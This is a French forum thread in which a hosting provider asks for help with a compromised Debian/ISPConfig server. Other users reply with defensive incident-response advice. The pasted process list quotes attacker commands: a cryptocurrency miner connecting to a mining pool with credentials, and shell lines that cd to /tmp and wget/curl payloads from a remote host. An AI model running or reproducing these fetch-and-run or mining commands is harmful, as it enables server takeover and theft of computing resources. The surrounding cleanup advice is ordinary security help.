Bonjour à tous,
Je suis nouveau sur ce forum. Si je viens vers vous c'est pour essayé de me sortir d'une mauvaise situation.
Le but est de nettoyer mon serveur pour que je puisse migrer tranquillement les sites, les boites mails qui se trouve dessus.
J'ai pris un nouveau serveur plus "costaud" il y a quelques jours j'ai mis un ESX. Le but est de faire au moins 3 serveurs, une pour les mails client, un pour les sites client et un pour mon usage.
En attendant de mettre cela en place, j'aimerais un peu de répit mais je viens de me faire attaqué, je m'en suis rendu compte car plusieurs clients mon appelé pour me dire qu'ils ne recevaient plus les mails.
Le système actuel Debian 6 + ispconfig.
Apparemment j'ai plusieurs ligne suspect dans les processus, voir ci dessous.
J'ai nettoyé le répertoire tmp de root, et quelques répertoire web, redémarrer mais ca revient tout le temps.
Si quelques peux m'apporter un peu d'aide je suis preneur.
Merci d'avance
citation 18725 www-data 375 % ./kernelcfg -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.3 -p passxxx
10010 web24 26.0 % /usr/bin/php-cgi -d open_basedir=/var/www/clients/client13/web24/web:/var/www/cl …
9498 www-data 0.0 % /bin/sh -c cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http:// …
9500 www-data 0.0 % /bin/sh -c cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http:// …
9502 www-data 0.0 % /bin/sh -c cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http:// …
9506 www-data 0.0 % /bin/sh -c cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http:// …
9508 www-data 0.0 % wget http://updates.dyndn-web.com/.../abc.txt
9509 www-data 0.0 % /bin/sh -c cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http:// …
9513 www-data 0.0 % /bin/sh -c cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http:// …
9516 www-data 0.0 % wget http://updates.dyndn-web.com/.../abc.txt
9517 www-data 0.0 % wget http://updates.dyndn-web.com/.../abc.txt
9519 www-data 0.0 % wget http://updates.dyndn-web.com/.../abc.txt
9521 www-data 0.0 % wget http://updates.dyndn-web.com/.../abc.txt
# Commentaire supprimé
Posté par Anonyme . Évalué à 3.
Ce commentaire a été supprimé par l’équipe de modération.
[^] # Re: Serveur compromis --> réinstallation
Posté par robinwood01 . Évalué à 1.
Oui je suis complètement d'accord, le but est de réinstaller les serveurs virtuel et de supprimer l'actuel.
Je pense que cela vient d'un des sites que j'héberge qui doit être vérolé.
Les lignes sont extrait de webmin : Running Processes
Pour les mails ils arrivent compte goutte dans les boites surment par ce que le CPU est à 100% ?
Quand je tues les process à 100% ils reviennent.
[^] # Commentaire supprimé
Posté par Anonyme . Évalué à 1.
Ce commentaire a été supprimé par l’équipe de modération.
[^] # Re: Serveur compromis --> réinstallation
Posté par gnx . Évalué à 3.
Ben, étant donné qu'il y a « wemineltc » dans le bouzin, y'a des chances… :-)
NB : et c'est le même nom d'utilisateur/mot de passe que la dernière fois qu'un truc du genre a été rapporté ici, je crois.
[^] # Re: Serveur compromis --> réinstallation
Posté par robinwood01 . Évalué à 1.
Tous les sites coupés, le processus qui prend 100% revient :
./kernelcfg -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.3 -p passxxx
[^] # Re: Serveur compromis --> réinstallation
Posté par gnx . Évalué à 1.
Ça ne t'aidera peut-être pas mais le fil de la dernière fois est là : piratage-de-ma-machine.
[^] # Commentaire supprimé
Posté par Anonyme . Évalué à 1.
Ce commentaire a été supprimé par l’équipe de modération.
# procedure classique
Posté par NeoX . Évalué à 2.
sinon là c'est www-data qui fait ses actions, peut-etre à partir d'un site verolé
tu peux deja desactiver tous tes sites, voir si ca se calme au niveau des process,
puis tu les reactives un par un, jusqu'a trouver le site qui genere ces processus
tu sais alors ou il faut faire le menage
[^] # Re: procedure classique
Posté par robinwood01 . Évalué à 0.
Je coupe tous les sites et je redémarre le serveur.
[^] # Re: procedure classique
Posté par nono14 (site web personnel) . Évalué à 3.
Bienvenue dans le monde réel !
Un parefeu, durcissement de la machine ainsi que les mesures de sécurité de base limitent la casse.
Système - Réseau - Sécurité Open Source - Ouvert à de nouvelles opportunités
[^] # Re: procedure classique
Posté par Mali (site web personnel) . Évalué à 0.
Perso j'utilise iptables avec une rêgle du genre :
3 tentatives de connexion en moins de 2 minutes => IP blacklistée pendant 5 minutes
Je pense que c'est suffisant pour décourager la plupart des attaques, à moins que quelqu'un ait vraiment à pirater mon serveur, sinon il lâche l'affaire et essaye ailleurs.
un exemple
c'est plus light qu'un fail2ban et jusqu'ici tout va bien …
[^] # Re: procedure classique
Posté par NeoX . Évalué à 3.
l'avantage de fail2ban est qu'il se base sur les "echec" trouvé dans les logs
là ou ta solution va me banir rapidement si je fais un transfert de multiples fichiers par sFTP
[^] # Re: procedure classique
Posté par GG (site web personnel) . Évalué à 2.
Non.
Tu coupes tous les sites, puis tu relances chaque site un par un.
C'est quoi, Apache? Nginx? Lighthttpd? Cherokee?
Pourquoi bloquer la publicité et les traqueurs : https://greboca.com/Pourquoi-bloquer-la-publicite-et-les-traqueurs.html
[^] # Re: procedure classique
Posté par robinwood01 . Évalué à 1.
Bonjour
C'est un apache.
J'ai fait une mauvaise manip maintenant quand j'essaye de lancer apache il me repond cela :
No apache MPM package installed
[^] # Re: procedure classique
Posté par NeoX . Évalué à 2.
ben reinstalle ce que tu as desinstallé
je pencherais pour le package
apache2-mpm-worker
# Migrer ne sert pas à grand chose pour l'instant.
Posté par Joris Dedieu (site web personnel) . Évalué à 4.
Tu t'es fait défoncé via une application en mode web. Si tu migres maintenant tu vas trimbaler le problème avec toi.
Tu peux :
- passer un coup de clamav dans les répertoires des sites (il va trouver les c99 shells et autres trucs du genre)
- analyser les requêtes POST pour trouver la source de l'attaque
- regarder les requêtes sans referer
- regarder les IP géolocalisées hors de ton périmètre géographique naturel
- faire des lsof sur les processus foireux
En général tu vas trouver un CMS avec une extension bien troué avec un répertoire d'upload plein de scripts php.
Bien sûr si toutes tes applications web appartiennent à www-data (le fameux chown -R www-data /var/www), alors il est probable que l'attaquant se soit éparpillé.
Pour la désinfection, il faudra effectivement tout réinstaller en vérifiant les fichiers que tu trimbales un a un et en mettant les CMS à jour et surtout en virant les extensions qui ne sont pas maintenues.
Suivre le flux des commentaires
Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.